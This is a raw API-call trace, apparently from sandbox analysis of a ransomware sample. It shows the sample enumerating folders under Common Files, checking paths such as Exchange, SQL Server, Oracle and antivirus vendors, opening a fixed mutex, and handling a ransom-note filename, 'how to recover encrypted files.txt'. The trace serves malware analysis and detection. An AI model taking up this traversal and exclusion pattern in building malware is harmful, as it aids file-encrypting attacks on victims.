CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0055.362] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0055.362] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0055.362] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.362] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.362] GlobalUnlock (hMem=0x44000c) returned 0 [0055.362] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.362] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.362] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.362] GlobalUnlock (hMem=0x44000c) returned 0 [0055.362] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.362] GlobalUnlock (hMem=0x440004) returned 0 [0055.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.363] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0055.363] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0055.363] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.363] GlobalLock (hMem=0x440004) returned 0x550170 [0055.363] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.363] GlobalUnlock (hMem=0x440004) returned 0 [0055.363] GlobalLock (hMem=0x440004) returned 0x550170 [0055.363] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.363] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.363] GlobalUnlock (hMem=0x440004) returned 0 [0055.363] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.363] GlobalUnlock (hMem=0x44000c) returned 0 [0055.363] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.363] CharLowerBuffW (in: lpsz="VGX.dll", cchLength=0x7 | out: lpsz="vgx.dll") returned 0x7 [0055.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0055.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0055.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0055.363] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0055.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VGX\\VGX.dllv", lpUsedDefaultChar=0x0) returned 4 [0055.364] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.364] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.364] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.364] GlobalUnlock (hMem=0x44000c) returned 0 [0055.364] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.364] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.364] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.364] GlobalUnlock (hMem=0x44000c) returned 0 [0055.364] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.364] GlobalUnlock (hMem=0x440004) returned 0 [0055.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.364] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0055.364] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.364] GlobalLock (hMem=0x440004) returned 0x550170 [0055.364] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.364] GlobalUnlock (hMem=0x440004) returned 0 [0055.364] GlobalLock (hMem=0x440004) returned 0x550170 [0055.364] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.364] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.364] GlobalUnlock (hMem=0x440004) returned 0 [0055.364] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.364] GlobalUnlock (hMem=0x44000c) returned 0 [0055.364] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.364] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.365] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.365] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.365] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.365] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.365] GlobalUnlock (hMem=0x44000c) returned 0 [0055.365] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.365] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.365] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.365] GlobalUnlock (hMem=0x44000c) returned 0 [0055.365] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.365] GlobalUnlock (hMem=0x440004) returned 0 [0055.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.365] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0055.365] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.365] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.365] GlobalLock (hMem=0x440004) returned 0x550170 [0055.365] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.365] GlobalUnlock (hMem=0x440004) returned 0 [0055.365] GlobalLock (hMem=0x440004) returned 0x550170 [0055.365] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.365] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.365] GlobalUnlock (hMem=0x440004) returned 0 [0055.365] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.365] GlobalUnlock (hMem=0x44000c) returned 0 [0055.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.365] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0055.365] GetLastError () returned 0x12 [0055.365] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.366] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0055.366] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0055.366] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.366] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.366] GlobalUnlock (hMem=0x44000c) returned 0 [0055.366] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.366] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.366] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.366] GlobalUnlock (hMem=0x44000c) returned 0 [0055.366] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.366] GlobalUnlock (hMem=0x440004) returned 0 [0055.366] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.366] GlobalLock (hMem=0x440004) returned 0x550170 [0055.366] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.366] GlobalUnlock (hMem=0x440004) returned 0 [0055.366] GlobalLock (hMem=0x440004) returned 0x550170 [0055.366] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.366] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.366] GlobalUnlock (hMem=0x440004) returned 0 [0055.366] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.366] GlobalUnlock (hMem=0x44000c) returned 0 [0055.366] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.366] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared", len=0x3b | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared") returned 1 [0055.366] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.366] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.366] GlobalUnlock (hMem=0x44000c) returned 0 [0055.367] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.367] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.367] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.367] GlobalUnlock (hMem=0x44000c) returned 0 [0055.367] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.367] GlobalUnlock (hMem=0x440004) returned 0 [0055.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\眵?\x18") returned 26 [0055.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꣀRꢔR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.371] GetLastError () returned 0x3 [0055.371] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0055.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꠜR企@\x18㿬Q\x181")) returned 0xffffffff [0055.372] GetLastError () returned 0x2 [0055.372] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0055.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@婴U企@\x18?T\x18;")) returned 0xffffffff [0055.373] GetLastError () returned 0x2 [0055.373] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0055.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18D")) returned 0xffffffff [0055.373] GetLastError () returned 0x2 [0055.374] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0055.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꠜR企@\x18婴U\x18j")) returned 0xffffffff [0055.374] GetLastError () returned 0x2 [0055.374] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0055.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0055.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18q")) returned 0xffffffff [0055.375] GetLastError () returned 0x2 [0055.375] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\婰UP") returned 6 [0055.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵?\x18") returned 7 [0055.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18?T\x18y")) returned 0xffffffff [0055.375] GetLastError () returned 0x2 [0055.375] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵?\x18") returned 7 [0055.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꠜR企@\x18?T\x18\x81")) returned 0xffffffff [0055.376] GetLastError () returned 0x2 [0055.376] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 